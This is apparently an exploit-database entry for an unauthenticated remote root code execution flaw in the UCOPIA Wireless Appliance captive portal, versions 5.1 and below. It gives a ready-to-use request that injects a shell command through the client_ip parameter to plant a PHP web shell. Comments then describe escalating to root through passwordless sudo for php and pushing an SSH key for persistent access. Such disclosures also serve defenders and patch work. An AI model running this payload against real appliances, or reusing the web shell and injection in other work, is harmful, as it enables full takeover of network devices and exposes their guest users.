UCOPIA Wireless Appliance 5.1 Code Execution

UCOPIA Wireless Appliance versions 5.1 and below suffer from a captive portal remote root code execution vulnerability.

MD5 | 030235cff7891b7fb5266503f44d6d01

# Exploit Title: Unauthenticated remote root code execution on captive portal Ucopia <= 5.1
# Date: 02/10/17
# Exploit Author: agix
# Vendor Homepage: http://www.ucopia.com/
# Version: <= 5.1
# Don't know in which version they exactly fixed it.
# When you connect to Ucopia wifi guest, every requests are redirected to controller.access.network

# First create easier to use php backdoor
https://controller.access.network/autoconnect_redirector.php?client_ip=;echo%20'<?php system($_GET[0]);%20?>'>/var/www/html/upload/bd.php;echo%20t

# As php is in sudoers without password...

# Just push your ssh key and get nice root access (ssh is open by default even from wifi guest)

Related Posts